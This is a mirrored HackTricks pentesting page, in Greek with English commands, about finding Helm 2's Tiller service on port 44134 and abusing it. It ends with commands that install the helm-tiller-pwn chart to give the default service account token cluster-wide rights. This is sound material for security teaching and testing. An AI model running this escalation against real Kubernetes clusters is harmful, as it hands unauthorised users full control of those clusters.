mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
58 lines
4.4 KiB
Markdown
58 lines
4.4 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
# Βασικές Πληροφορίες
|
||
|
||
Το Helm είναι ο **διαχειριστής πακέτων** για το Kubernetes. Επιτρέπει τη συσκευασία αρχείων YAML και τη διανομή τους σε δημόσιες και ιδιωτικές αποθήκες. Αυτά τα πακέτα ονομάζονται **Helm Charts**. Ο **Tiller** είναι η **υπηρεσία** που **τρέχει** από προεπιλογή στην πόρτα 44134 προσφέροντας την υπηρεσία.
|
||
|
||
**Προεπιλεγμένη πόρτα:** 44134
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
44134/tcp open unknown
|
||
```
|
||
# Enumeration
|
||
|
||
Αν μπορείτε να **καταμετρήσετε τα pods και/ή τις υπηρεσίες** διαφορετικών namespaces, καταμετρήστε τα και αναζητήστε αυτά που έχουν **"tiller" στο όνομά τους**:
|
||
```bash
|
||
kubectl get pods | grep -i "tiller"
|
||
kubectl get services | grep -i "tiller"
|
||
kubectl get pods -n kube-system | grep -i "tiller"
|
||
kubectl get services -n kube-system | grep -i "tiller"
|
||
kubectl get pods -n <namespace> | grep -i "tiller"
|
||
kubectl get services -n <namespace> | grep -i "tiller"
|
||
```
|
||
Παραδείγματα:
|
||
```bash
|
||
kubectl get pods -n kube-system
|
||
NAME READY STATUS RESTARTS AGE
|
||
kube-scheduler-controlplane 1/1 Running 0 35m
|
||
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
||
|
||
kubectl get services -n kube-system
|
||
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||
```
|
||
Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτή την υπηρεσία που εκτελείται ελέγχοντας την θύρα 44134:
|
||
```bash
|
||
sudo nmap -sS -p 44134 <IP>
|
||
```
|
||
Αφού το ανακαλύψετε, μπορείτε να επικοινωνήσετε μαζί του κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `homebrew`, ή να δείτε [**τη σελίδα επίσημων εκδόσεων**](https://github.com/helm/helm/releases)**.** Για περισσότερες λεπτομέρειες, ή για άλλες επιλογές, δείτε [τον οδηγό εγκατάστασης](https://v2.helm.sh/docs/using_helm/#installing-helm).
|
||
|
||
Στη συνέχεια, μπορείτε να **καταμετρήσετε την υπηρεσία**:
|
||
```
|
||
helm --host tiller-deploy.kube-system:44134 version
|
||
```
|
||
## Privilege Escalation
|
||
|
||
Από προεπιλογή, το **Helm2** εγκαταστάθηκε στο **namespace kube-system** με **υψηλά δικαιώματα**, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό θα μπορούσε να σας επιτρέψει να **κλιμακώσετε τα δικαιώματα**.
|
||
|
||
Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) που θα δώσει στο **προεπιλεγμένο διακριτικό υπηρεσίας πρόσβαση σε όλα σε ολόκληρο το cluster.**
|
||
```
|
||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||
/pwnchart
|
||
```
|
||
Στο [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) έχετε την **εξήγηση της επίθεσης**, αλλά βασικά, αν διαβάσετε τα αρχεία [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) και [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) μέσα στο _helm-tiller-pwn/pwnchart/templates/_ μπορείτε να δείτε πώς **όλα τα δικαιώματα δίνονται στο προεπιλεγμένο token**.
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|